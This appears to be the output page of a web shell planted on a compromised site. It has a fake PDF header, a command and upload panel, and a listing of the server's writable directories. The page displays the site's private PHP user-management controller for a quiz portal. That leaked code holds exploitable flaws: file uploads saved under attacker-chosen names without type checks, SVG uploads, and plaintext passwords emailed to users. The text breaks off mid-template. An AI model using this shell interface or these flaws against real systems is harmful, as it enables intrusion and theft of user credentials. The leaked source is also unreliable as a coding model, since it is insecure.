%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/chalkbank.com/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/chalkbank.com/application/controllers/User.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class User extends CI_Controller {

	 function __construct()
	 {
	   parent::__construct();
	   $this->load->database();
	   $this->load->model("user_model");
	   $this->lang->load('basic', $this->config->item('language'));
		// redirect if not loggedin
		if(!$this->session->userdata('logged_in')){
			redirect('login');
		}
	 }

	public function index($limit='0',$gid='0')
	{
		$logged_in=$this->session->userdata('logged_in');
		// Validate Token
		validateusercount($this->session->userdata('username'),$this->session->userdata('token'));
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('user',$assignedModule)) {
			setHistory('Go to user listing module - '.$this->session->userdata('username'));
			exit($this->lang->line('permission_denied'));
		}
		// Set Page Title
		$data['title']=$this->lang->line('userlist');
	
		$uid =  '';
		$gid_list = array(); 
		if($logged_in['su']=='1') { 
			$uid = $logged_in['uid']; 
			$gid_list = explode(',',$logged_in['gid']); 
		} else if($logged_in['su']=='0') { 
		   $uid = $logged_in['admin_id']; 
		   $gid_list[] = $logged_in['gid']; 
		}
		
		//print_r($logged_in); die;
		$data['admin_id'] = $uid;
		$data['group_list']=$this->user_model->group_list(NULL, $gid_list); 
		$data['limit']=$limit;
		
		if($gid>0){ 
			$gid_list = array(); 
			$gid_list[] = $gid; 
			$data['gid']=$gid;
		} 
		
		// fetching user list
		if($_GET['dwn']=='1') {
			$result = $this->user_model->user_list(NULL,$gid_list);
			$this->generate_report($result);
		}
	
		$data['result'] = $this->user_model->user_list($limit, $gid_list);
		$this->load->view('header',$data);
		$this->load->view('user_list',$data);
		$this->load->view('footer',$data);
		setHistory('Go to user listing module');
	}
	
	public function dashboard($uid){
		$data = array();
		//$uid = '7706';
		//Get user data
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']==0) {
			$uid = $logged_in['uid'];	
		}
		$data['result']= $result = $this->user_model->get_user($uid);
		
		// top 10 results of selected quiz
		$last_ten_result = $this->user_model->last_ten_result($uid);

		$value=array();
		$value[]=array('Quiz Name','Percentage (%)');
		foreach($last_ten_result as $val)
		{
			$dtval = intval($val['percentage_obtained']);
			$value[]=array($val['quiz_name'].' ('.date("d M Y H :i:s A",$val['end_time']).' )',$dtval);
		}
		$data['value']=json_encode($value);
		$data['title'] = $result['first_name'] .' Profile';
		$this->load->view('header',$data);
		$this->load->view('user_dashboard',$data);
		$this->load->view('footer',$data);
		setHistory('Go to user My Profile Dashboard module');
	}
	
	function pre_user_list($limit='0',$gid='0'){
		$gid=$this->input->post('gid');
		redirect('user/index/'.$limit.'/'.$gid);
	}
	
	public function new_user()
	{
		$logged_in=$this->session->userdata('logged_in');
		$admin_id = '';
		$gid_list = array(); 
		if($logged_in['su']=='1') {
			$uid = $uid;
			if($logged_in['su']=='0'){
				$admin_id = $logged_in['admin_id'];
			} else {
				$admin_id = $logged_in['uid'];
				$uid = $logged_in['uid'];
			}
			$gid_list = explode(',',$logged_in['gid']); 
		} else if($logged_in['su']=='0'){
			$uid = $logged_in['uid'];
			$gid_list[] = $logged_in['gid']; 
		}
		
		
		// Validate Token
		validateusercount($this->session->userdata('username'),$this->session->userdata('token'));
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('user',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		
		$data['su'] = $logged_in['su'];
		$data['category_list']=$this->user_model->category_list($admin_id);
		$data['level_list']=$this->user_model->level_list($admin_id);
	  	     
		$data['title']=$this->lang->line('add_new').' '.$this->lang->line('user');
		
		// fetching group list
		$data['group_list']=$this->user_model->group_list(NULL, $gid_list);
		
		$data['admin_id'] = $admin_id;
		$this->load->view('header',$data);
		$this->load->view('new_user',$data);
		$this->load->view('footer',$data);
		setHistory('Go to add new user module');
	}
	
	public function insert_user()
	{
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('user',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		if($logged_in['su']=='1' || (in_array('1',explode(',',$logged_in['role_id'])))) {
			if($logged_in['su']=='0'){
				$admin_id = $logged_in['admin_id'];
			} else {
				$admin_id = $logged_in['uid'];
			}
		} 
		
		$this->load->library('form_validation');
		$this->form_validation->set_rules('email', 'Email', 'required|is_unique[savsoft_users.email]');
        $this->form_validation->set_rules('password', 'Password', 'required');
		// Get Role Id's
		$moduleArray = $this->user_model->module_list();
		$assignModule = array();
		foreach($moduleArray as $val) {
			if($val['default_module']=='1'){
			 $assignModule['user'][] = $val['mid'];
			} 
			$assignModule['all'][] = $val['mid'];
		}
		if($_POST['su']=='0'){
			$moduleList = implode(',',$assignModule['user']);
		} else {
			$moduleList = implode(',',$assignModule['all']);
		}
		$_POST['role_id'] = $moduleList;
		$_POST['subject'] = $this->getUserSubject($_POST['cid']);
		$_POST['class_level'] = $this->getClassLevel($_POST['lid']);
		
         if ($this->form_validation->run() == FALSE)
                {
                     $this->session->set_flashdata('message', "<div class='alert alert-danger'>".validation_errors()." </div>");
					redirect('user/new_user/');
                }
                else
                {
					$_POST['admin_id'] = $admin_id;
					if($this->user_model->insert_user()){
                        $this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_added_successfully')." </div>");
					}else{
						    $this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_add_data')." </div>");
						
					}
					setHistory('Go to insert new user module');
					redirect('user/new_user/');
                }       

	}

	private function getClassLevel($lid)
	{
		$levelArray = $this->user_model->level_list();
		$levelNewArray = array();
		foreach($levelArray as $row) {
			$levelNewArray[$row['lid']] = $row['level_name'];
		}
		
		return $levelNewArray[$lid];
		
	}
	
	public function getUserSubject($cid)
	{
		$categoryArray = $this->user_model->category_list();
		$categoryNewArray = array();
		foreach($categoryArray as $row) {
			$categoryNewArray[$row['cid']] = $row['category_name'];
		}
		return $categoryNewArray[$cid];
		
	}
	
	public function active()
	{
		$data = array();
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('user',$assignedModule)) {
			exit($this->lang->line('permission_denied'));
		}
		$data['title']=$this->lang->line('active_user');
		$uid='';
		if($logged_in['su']=='1' ) {
			$condArray = array('status'=>'ON','admin_id<>'=>'');
			$uid=$logged_in['uid'];
			$condArray['admin_id'] = $uid;
			$condArray['admin_id'] = $uid;
		} else if($logged_in['su']>'1'){
			$condArray = array('status'=>'ON');
		}
		// fetching group list
		$data['num_active_user'] = $this->user_model->active_user(NULL,$uid);
		$data['active_user_list']=$this->user_model->active_user_list($condArray);
		$this->load->view('header',$data);
		$this->load->view('active_user',$data);
		$this->load->view('footer',$data);
		setHistory('Go to active user list module');
	}
	
		public function remove_user($uid){

			$logged_in=$this->session->userdata('logged_in');
			if($logged_in['su']=='0'){
				exit($this->lang->line('permission_denied'));
			}
			if($uid=='1'){
					exit($this->lang->line('permission_denied'));
			}
			
			if($this->user_model->remove_user($uid)){
				$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('removed_successfully')." </div>");
			}else{
					$this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_remove')." </div>");
				
			}
			setHistory('Go to remove user module');
			redirect('user');
                     
			
	}

	public function edit_user($uid)
	{
		
		$logged_in=$this->session->userdata('logged_in');
		$admin_id = '';
		if($logged_in['su']=='1' || (in_array('1',explode(',',$logged_in['role_id'])))) {
			$uid = $uid;
			if($logged_in['su']=='0'){
				$admin_id = $logged_in['admin_id'];
			} else if($logged_in['su']=='1') {
				$admin_id = $logged_in['uid'];
			}
		} else if($logged_in['su']=='0'){
			$uid = $logged_in['uid'];
		}

		$data['active_su']=$logged_in['su'];
		$data['uid']=$uid;
		$data['title']=$this->lang->line('edit').' '.$this->lang->line('user');
		
		// fetching user
		$data['result']=$this->user_model->get_user_details($uid);
		//print_r($data['result']); die;
		//$this->load->model("payment_model");
		//$data['payment_history']=$this->payment_model->get_payment_history($admin_id);
		// fetching group list
		
		$data['category_list']=$this->user_model->category_list($admin_id);
		$data['level_list']=$this->user_model->level_list($admin_id);
		
		//$data['group_list']=$this->user_model->group_list($admin_id);
		// Get user Group List
		$gid_list = array(); 
		if($logged_in['su']=='1') {
			$gid_list = explode(',',$logged_in['gid']); 
		} else if($logged_in['su']=='0'){
			$gid_list[] = $logged_in['gid']; 
		}
		
		$data['group_list']=$this->user_model->group_list(NULL, $gid_list);
		
		$this->load->view('header',$data);
		if($logged_in['su']>='1' || (in_array('1',explode(',',$logged_in['role_id'])))){
			$this->load->view('edit_user',$data);
			setHistory('Go to edit user module');
		}else{
			$this->load->view('myaccount',$data);
			setHistory('Go to myaccount user module');
		}
		
		$this->load->view('footer',$data);
	}
	
	/*
	* function : myprofile
	*/
	public function myprofile($uid='')
	{
		$data['title']=$this->lang->line('edit').' My Profile';
		if($_POST){
			$_POST['gid'] = implode(',',$_POST['gid']);
			$_POST['profie_image'] = $this->uploadImage();	
			if($_POST['old_image']!=''&& $_POST['profie_image']=='') { $_POST['profie_image'] = $_POST['old_image']; }
		
			if($this->user_model->update_myprofile($uid)){
				$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_updated_successfully')." </div>");
				$user = $this->user_model->get_user_details($uid);
				$this->session->set_userdata('logged_in', $user);
			} else {
					$this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_update_data')." </div>");
			}
		}

		$logged_in=$this->session->userdata('logged_in');
		$uid=$logged_in['uid'];
		$data['uid']=$uid;
		// fetching group list
		$data['group_list']=$this->user_model->group_list($uid);
		
		//fetching user
		$data['result']= $this->user_model->get_user_details($uid);
		
		//print_r($data['result']); die;
		$this->load->view('header',$data);
		$this->load->view('myprofile',$data);
		$this->load->view('footer',$data);
		setHistory('Go to myprofile user module');
	}

	public function update_user($uid)
	{
		$logged_in=$this->session->userdata('logged_in');

		if($logged_in['su']=='0'){
			 $uid=$logged_in['uid'];
		}
		$this->load->library('form_validation');
		$this->form_validation->set_rules('email', 'Email', 'required');
		
		$_POST['subject'] = $this->getUserSubject($_POST['cid']);
		$_POST['class_level'] = $this->getClassLevel($_POST['lid']);
		// Get Role Id's
		$moduleArray = $this->user_model->module_list();
		$assignModule = array();
		foreach($moduleArray as $val) {
			if($val['default_module']=='1'){
			 $assignModule['user'][] = $val['mid'];
			} 
			$assignModule['all'][] = $val['mid'];
		}
		if($_POST['su']>='1'){
			$moduleList = implode(',',$assignModule['all']);
		} else {
			$moduleList = implode(',',$assignModule['user']);
		}
		$_POST['role_id'] = $moduleList;
		
		if ($this->form_validation->run() == FALSE)
		{
			$this->session->set_flashdata('message', "<div class='alert alert-danger'>".validation_errors()." </div>");
			redirect('user/edit_user/'.$uid);
		}
		else
		{
		// Upload Profile Inage
		$_POST['profie_image'] = $this->uploadImage();	
		if($_POST['old_image']!=''&& $_POST['profie_image']=='') { $_POST['profie_image'] = $_POST['old_image']; }
		if($this->user_model->update_user($uid)){
			$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_updated_successfully')." </div>");
			if($logged_in['su']=='0'){
				$user = $this->user_model->get_user_details($uid);
			    $this->session->set_userdata('logged_in', $user);
			}
		} else {
				$this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_update_data')." </div>");
		}
		setHistory('Go to update user module');
		redirect('user/edit_user/'.$uid);
		}       

	}
	/*
	* Function : uploadImage
	* Description : Upload the banner image 
	*/
	private function uploadImage()
    {
		$config['upload_path'] = './upload/profile_images/';
        $config['allowed_types'] = 'gif|jpg|png|jpeg|JPG|PNG|JPEG|SVG|svg';
		
        $this->load->library('upload', $config);
        $this->upload->initialize($config);
        if (!$this->upload->do_upload('profile_image')) {
            log_message('error', 'Image Upload Error: ' . $this->upload->display_errors());
        }
        $img = $this->upload->data();
        return $img['file_name'];
    }
	
	public function group_list(){
		
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		}
		$uid =  '';
		if($logged_in['su']=='1') { $uid = $logged_in['uid']; } 
		// fetching group list
		$data['group_list']=$this->user_model->group_list($uid);
		
		
		$data['title']=$this->lang->line('group_list');
		$this->load->view('header',$data);
		$this->load->view('group_list',$data);
		$this->load->view('footer',$data);
		setHistory('Go to group list module');
	}
	
	public function insert_group()
	{
			$logged_in=$this->session->userdata('logged_in');
			if($logged_in['su']=='0'){
				exit($this->lang->line('permission_denied'));
			}
			$_POST['admin_id'] = $logged_in['uid'];
			if($this->user_model->insert_group()){
				$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_added_successfully')." </div>");
			}else{
			 $this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_add_data')." </div>");
					
			}
			setHistory('Go to add new group module');
			redirect('user/group_list/');
	}
	/*
	* Function : send_email
	*
	*/
	public function send_email($uid)
	{
		$uid = $_POST['uid'];
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		}
		$data['uid']=$uid;
		// fetching user
		$data['result'] = $result = $this->user_model->get_user($uid);
		$user_name = $result['email'];
		$password = $result['user_key'];
		$urlink = base_url('?key='.$result['page_key']);
		$subject=$this->config->item('login_subject');
		$message=$this->config->item('login_message');
		$message=str_replace('[urlink]',$urlink,$message);
		$message=str_replace('[user_name]',$user_name,$message);
		$message=str_replace('[pass]',$password,$message);
		$toemail= $result['user_email'];
		$emailResp = $this->user_model->send_email_pepipost($toemail, $subject, $message);
		setHistory("$toemail login details email send successfully.");
		echo true;
		exit;
	}
	
	public function edit_role($uid)
	{
		
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		}
		
		if($logged_in['su']=='0'){
		 $uid=$logged_in['uid'];
		}

		$data['uid']=$uid;
		$data['title']=$this->lang->line('edit').' '.$this->lang->line('user');
		
		$data['module_list']=$this->user_model->module_list();
		
		// fetching user
		$data['result']=$this->user_model->get_user($uid);
		//print_r($data['result']); die;
		$this->load->view('header',$data);
		$this->load->view('edit_role',$data);
		$this->load->view('footer',$data);
		setHistory('Go to edit role module');
	}

	public function update_role($uid)
	{
		$logged_in=$this->session->userdata('logged_in');
        if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		}
		$uid =  $_POST['uid'];
		$_POST['role_id'] = implode(',',$_POST['role_id']); 
		
		if($this->user_model->update_role($uid)){
			$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_updated_successfully')." </div>");
		}else{
				$this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_update_data')." </div>");
			
		}
		setHistory('Go to update role module');
		redirect('user/edit_role/'.$uid);
	}
	
	
	public function update_group($gid)
	{
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		}
	
		if($this->user_model->update_group($gid)){
		echo "<div class='alert alert-success'>".$this->lang->line('data_updated_successfully')." </div>";
		}else{
		 echo "<div class='alert alert-danger'>".$this->lang->line('error_to_update_data')." </div>";
				
		}
	}
	
	
	function get_expiry($gid){
		echo $this->user_model->get_expiry($gid);
	}
	public function remove_group($gid){

		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']=='0'){
			exit($this->lang->line('permission_denied'));
		} 
		
		if($this->user_model->remove_group($gid)){
			$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('removed_successfully')." </div>");
		}else{
				$this->session->set_flashdata('message', "<div class='alert alert-danger'>".$this->lang->line('error_to_remove')." </div>");
			
		}
		setHistory('Go to remove group module');
		redirect('user/group_list');
				 
		
	}

	
	function logout(){
		$page_key = $this->session->userdata('page_key');
		offUserLogStatus($this->session->userdata('current_session_id')); // Change User Current Status From On to Off
		//logoutTime($this->session->userdata('username'));
		setHistory('Go to logout. Thank you for your visit.');
		$logged_in=$this->session->userdata('username');
		$this->user_model->deleteusertoken($logged_in);
		$this->session->sess_destroy();
		$this->session->unset_userdata('logged_in');	
		$this->session->unset_userdata('logo_image');	
		$this->session->unset_userdata('page_key');	
		session_destroy();
		
		redirect('login?key='.$page_key);
		
	}
	
	// level functions end
	function import()
	{	
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']<="0"){
			exit('Permission denied');
			return;
		}	
	   $this->load->helper('xlsimport/php-excel-reader/excel_reader2');
	   $this->load->helper('xlsimport/spreadsheetreader.php');
	  
		if(isset($_FILES['xlsfile'])){
			$targets = 'xls/';
			$targets = $targets . basename( $_FILES['xlsfile']['name']);
			$docadd=($_FILES['xlsfile']['name']);
			if(move_uploaded_file($_FILES['xlsfile']['tmp_name'], $targets)){
				$Filepath = $targets;
				$allxlsdata = array();
				date_default_timezone_set('UTC');

				$StartMem = memory_get_usage();
				//echo '---------------------------------'.PHP_EOL;
				//echo 'Starting memory: '.$StartMem.PHP_EOL;
				//echo '---------------------------------'.PHP_EOL;

				try
				{
					$Spreadsheet = new SpreadsheetReader($Filepath);
					$BaseMem = memory_get_usage();

					$Sheets = $Spreadsheet -> Sheets();

					//echo '---------------------------------'.PHP_EOL;
					//echo 'Spreadsheets:'.PHP_EOL;
					//print_r($Sheets);
					//echo '---------------------------------'.PHP_EOL;
					//echo '---------------------------------'.PHP_EOL;

					foreach ($Sheets as $Index => $Name)
					{
						//echo '---------------------------------'.PHP_EOL;
						//echo '*** Sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;

						$Time = microtime(true);

						$Spreadsheet -> ChangeSheet($Index);

						foreach ($Spreadsheet as $Key => $Row)
						{
							//echo $Key.': ';
							if ($Row)
							{
								//print_r($Row);
								$Row['11'] = $logged_in['uid'];
								$allxlsdata[] = $Row;
							}
							else
							{
								var_dump($Row);
							}
							$CurrentMem = memory_get_usage();
					
							//echo 'Memory: '.($CurrentMem - $BaseMem).' current, '.$CurrentMem.' base'.PHP_EOL;
							//echo '---------------------------------'.PHP_EOL;
					
							if ($Key && ($Key % 500 == 0))
							{
								//echo '---------------------------------'.PHP_EOL;
								//echo 'Time: '.(microtime(true) - $Time);
								//echo '---------------------------------'.PHP_EOL;
							}
						}
					
					//	echo PHP_EOL.'---------------------------------'.PHP_EOL;
						//echo 'Time: '.(microtime(true) - $Time);
						//echo PHP_EOL;

						//echo '---------------------------------'.PHP_EOL;
						//echo '*** End of sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;
					}
					
				}
				catch (Exception $E)
				{
					echo $E -> getMessage();
				}
			
				$this->user_model->import_user($allxlsdata, $logged_in);   
			}
			
	}  else{
			echo "Error: " . $_FILES["file"]["error"];
	}	
	$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_imported_successfully')." </div>");
	setHistory('Go to import user module'); 
	redirect('user');
	}
	
	public function assigngroup($limit='0',$gid='0')
	{
		$logged_in=$this->session->userdata('logged_in');
		// Validate Token
		validateusercount($this->session->userdata('username'),$this->session->userdata('token'));
		$logged_in=$this->session->userdata('logged_in');
		$assignedModule = assignModuleList($logged_in['role_id']);
		if(!array_key_exists('user',$assignedModule)) {
			setHistory('Go to user listing module - '.$this->session->userdata('username'));
			exit($this->lang->line('permission_denied'));
		}
		// Set Page Title
		$data['title']=$this->lang->line('userlist');
	
		$uid =  '';
		$gid_list = array(); 
		if($logged_in['su']=='1') { 
			$uid = $logged_in['uid']; 
			$gid_list = explode(',',$logged_in['gid']); 
		} else if($logged_in['su']=='0') { 
		   $uid = $logged_in['admin_id']; 
		   $gid_list[] = $logged_in['gid']; 
		}
		
		//print_r($logged_in); die;
		$data['admin_id'] = $uid;
		$data['group_list']=$this->user_model->group_list(NULL, $gid_list); 
		$data['limit']=$limit;
		
		if($gid>0){ 
			$gid_list = array(); 
			$gid_list[] = $gid; 
			$data['gid']=$gid;
		} 
		
		// fetching user list
		if($_GET['dwn']=='1') {
			$result = $this->user_model->user_list(NULL,$gid_list);
			$this->generate_report($result);
		}
	
		$data['result'] = $this->user_model->user_list($limit, $gid_list);
		$this->load->view('header',$data);
		$this->load->view('assigngroups/assign_groups',$data);
		$this->load->view('footer',$data);
		setHistory('Go to assign user group module');
	}
	
	/*
	* function : bulkuserupload
	*/
	public function bulkuserupload()
	{
		$data['title']= 'Bulk User Upload';
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']<="0"){
			exit('Permission denied');
			return;
		}
		$this->load->view('header',$data);
		$this->load->view('assigngroups/bulkuserupload',$data);
		$this->load->view('footer',$data);
		setHistory('Go to bulk user upload module');
		
	}
	
	// level functions end
	function setbulkuserupload()
	{	
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']<="0"){
			exit('Permission denied');
			return;
		}	
	   $this->load->helper('xlsimport/php-excel-reader/excel_reader2');
	   $this->load->helper('xlsimport/spreadsheetreader.php');
	  
		if(isset($_FILES['xlsfile'])){
			$targets = 'xls/';
			$targets = $targets . basename( $_FILES['xlsfile']['name']);
			$docadd=($_FILES['xlsfile']['name']);
			if(move_uploaded_file($_FILES['xlsfile']['tmp_name'], $targets)){
				$Filepath = $targets;
				$allxlsdata = array();
				date_default_timezone_set('UTC');

				$StartMem = memory_get_usage();
				//echo '---------------------------------'.PHP_EOL;
				//echo 'Starting memory: '.$StartMem.PHP_EOL;
				//echo '---------------------------------'.PHP_EOL;

				try
				{
					$Spreadsheet = new SpreadsheetReader($Filepath);
					$BaseMem = memory_get_usage();

					$Sheets = $Spreadsheet -> Sheets();

					//echo '---------------------------------'.PHP_EOL;
					//echo 'Spreadsheets:'.PHP_EOL;
					//print_r($Sheets);
					//echo '---------------------------------'.PHP_EOL;
					//echo '---------------------------------'.PHP_EOL;

					foreach ($Sheets as $Index => $Name)
					{
						//echo '---------------------------------'.PHP_EOL;
						//echo '*** Sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;

						$Time = microtime(true);

						$Spreadsheet -> ChangeSheet($Index);

						foreach ($Spreadsheet as $Key => $Row)
						{
							//echo $Key.': ';
							if ($Row)
							{
								//print_r($Row);
								$Row['13'] = $logged_in['uid'];
								$allxlsdata[] = $Row;
							}
							else
							{
								var_dump($Row);
							}
							$CurrentMem = memory_get_usage();
					
							//echo 'Memory: '.($CurrentMem - $BaseMem).' current, '.$CurrentMem.' base'.PHP_EOL;
							//echo '---------------------------------'.PHP_EOL;
					
							if ($Key && ($Key % 500 == 0))
							{
								//echo '---------------------------------'.PHP_EOL;
								//echo 'Time: '.(microtime(true) - $Time);
								//echo '---------------------------------'.PHP_EOL;
							}
						}
					
					//	echo PHP_EOL.'---------------------------------'.PHP_EOL;
						//echo 'Time: '.(microtime(true) - $Time);
						//echo PHP_EOL;

						//echo '---------------------------------'.PHP_EOL;
						//echo '*** End of sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;
					}
					
				}
				catch (Exception $E)
				{
					echo $E -> getMessage();
				}  
			    // print_r($allxlsdata); die;
				$this->user_model->bulkupload_user($allxlsdata, $logged_in);   
			}
			
	}  else{
			echo "Error: " . $_FILES["file"]["error"];
	}	
	$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_imported_successfully')." </div>");
	setHistory('Go to bulk user uploaded module'); 
	redirect('user/bulkuserupload');
	}
	
	// level functions end
	function assignallusergroup()
	{	
		$logged_in=$this->session->userdata('logged_in');
		if($logged_in['su']<="0"){
			exit('Permission denied');
			return;
		}	
	   $this->load->helper('xlsimport/php-excel-reader/excel_reader2');
	   $this->load->helper('xlsimport/spreadsheetreader.php');
	  
		if(isset($_FILES['xlsfile'])){
			$targets = 'xls/';
			$targets = $targets . basename( $_FILES['xlsfile']['name']);
			$docadd=($_FILES['xlsfile']['name']);
			if(move_uploaded_file($_FILES['xlsfile']['tmp_name'], $targets)){
				$Filepath = $targets;
				$allxlsdata = array();
				date_default_timezone_set('UTC');

				$StartMem = memory_get_usage();
				//echo '---------------------------------'.PHP_EOL;
				//echo 'Starting memory: '.$StartMem.PHP_EOL;
				//echo '---------------------------------'.PHP_EOL;

				try
				{
					$Spreadsheet = new SpreadsheetReader($Filepath);
					$BaseMem = memory_get_usage();

					$Sheets = $Spreadsheet -> Sheets();

					//echo '---------------------------------'.PHP_EOL;
					//echo 'Spreadsheets:'.PHP_EOL;
					//print_r($Sheets);
					//echo '---------------------------------'.PHP_EOL;
					//echo '---------------------------------'.PHP_EOL;

					foreach ($Sheets as $Index => $Name)
					{
						//echo '---------------------------------'.PHP_EOL;
						//echo '*** Sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;

						$Time = microtime(true);

						$Spreadsheet -> ChangeSheet($Index);

						foreach ($Spreadsheet as $Key => $Row)
						{
							//echo $Key.': ';
							if ($Row)
							{
								//print_r($Row);
								$Row['12'] = $logged_in['uid'];
								$allxlsdata[] = $Row;
							}
							else
							{
								var_dump($Row);
							}
							$CurrentMem = memory_get_usage();
					
							//echo 'Memory: '.($CurrentMem - $BaseMem).' current, '.$CurrentMem.' base'.PHP_EOL;
							//echo '---------------------------------'.PHP_EOL;
					
							if ($Key && ($Key % 500 == 0))
							{
								//echo '---------------------------------'.PHP_EOL;
								//echo 'Time: '.(microtime(true) - $Time);
								//echo '---------------------------------'.PHP_EOL;
							}
						}
					
					//	echo PHP_EOL.'---------------------------------'.PHP_EOL;
						//echo 'Time: '.(microtime(true) - $Time);
						//echo PHP_EOL;

						//echo '---------------------------------'.PHP_EOL;
						//echo '*** End of sheet '.$Name.' ***'.PHP_EOL;
						//echo '---------------------------------'.PHP_EOL;
					}
					
				}
				catch (Exception $E)
				{
					echo $E -> getMessage();
				}  
			    // print_r($allxlsdata); die;
				$this->user_model->assign_user($allxlsdata, $logged_in);   
			}
			
	}  else{
			echo "Error: " . $_FILES["file"]["error"];
	}	
	$this->session->set_flashdata('message', "<div class='alert alert-success'>".$this->lang->line('data_imported_successfully')." </div>");
	setHistory('Go to import user module'); 
	redirect('user/assigngroup');
	}
	
	public function getlevellist($cid)
	{
		$levelArray = array();
		if($cid>0){
			$level_list = $this->user_model->level_list_by_cid($uid='',$cid);
			
			foreach($level_list as $val){
				$levelArray[$val['lid']] = $val['level_name'];
			}
			header('Content-type: application/json');
			echo json_encode($levelArray);
		}
		exit();
		
	}
	
	/*
	* Private Function : generate_report
	*/
	private function generate_report($result)
	{
		$this->load->helper('download');
		$logged_in=$this->session->userdata('logged_in');
	    $csvdata=$this->lang->line('s_no').", System ID,User Name, Full Name, Group Name, Email, Contact No.,Status, Date\r\n";
		$k=1;
		foreach($result as $rk => $val){
			$verify_code = $val['verify_code']=='0' ? 'Verified' : 'Pending';
			$csvdata.=$k.",".strip_tags($val['system_id']).",".strip_tags($val['email']).",".strip_tags($val['first_name'].' '.$val['last_name']).",".strip_tags($val['group_name']).",".strip_tags($val['user_email']).",".strip_tags($val['contact_no']).",".strip_tags($verify_code).",".strip_tags($val['createdon'])."\r\n";
			$k++;
		}
		$filename='user-list-'.time().'.csv';
		force_download($filename, $csvdata);
	}
	
	/*
	* Function : sendLoginEmail
	*/
	public function sendloginAlert($gid)
	{
		$gid_list = array();
		if($_GET['gid']>0){
			$gid_list[]=$_GET['gid'];
			$result = $this->user_model->user_list($limit='2', $gid_list);
			$k=0;
			foreach($result as $row){
				if($row['send_email']<=1){
					$this->sendLoginEmail($row);
					$uid=$row['uid'];
					$data = array();
					$data['send_email']='2';
					$data['modifiedon']=date('Y-m-d H:i:s');
					$this->user_model->updateinfo('savsoft_users',$data, 'uid',$uid);
					$k++;
				}
			}
			echo 'total '.$k;
			setHistory("$k User login details email send successfully.");
		 
		}
		exit;
	}
	/*
	* Function : sendLoginEmail
	*/
	public function sendLoginEmail($params)
	{
		$data = array();
		echo $email = $params['email'];
		$fullname = trim($params['first_name'].' '.$params['last_name']);
		$username = $params['email'];
		$password = $params['user_key'];
		
		if($email!='') 
		{
			$template = $this->getTemplate();
			$message = str_replace(array('##FULLNAME##','##USERNAME##','##PASSWORD##'), array($fullname,$username,$password), $template);
			$to_emails = $email;
			$subject = 'Quizbyte Online Examination Portal - Login Details';
			$this->user_model->send_email_pepipost($to_emails, $subject, $message);
			return  true;
		}
	}
	
	/*
	* Function : getTemplate
	*/
	public function getTemplate()
	{
		$template = '';
		$template = '
		<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
			<html xmlns="http://www.w3.org/1999/xhtml">
			<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
			<title>Login Details - Quizbyte An Ultimate Quizzing Platform</title>
			</head>
			<body>
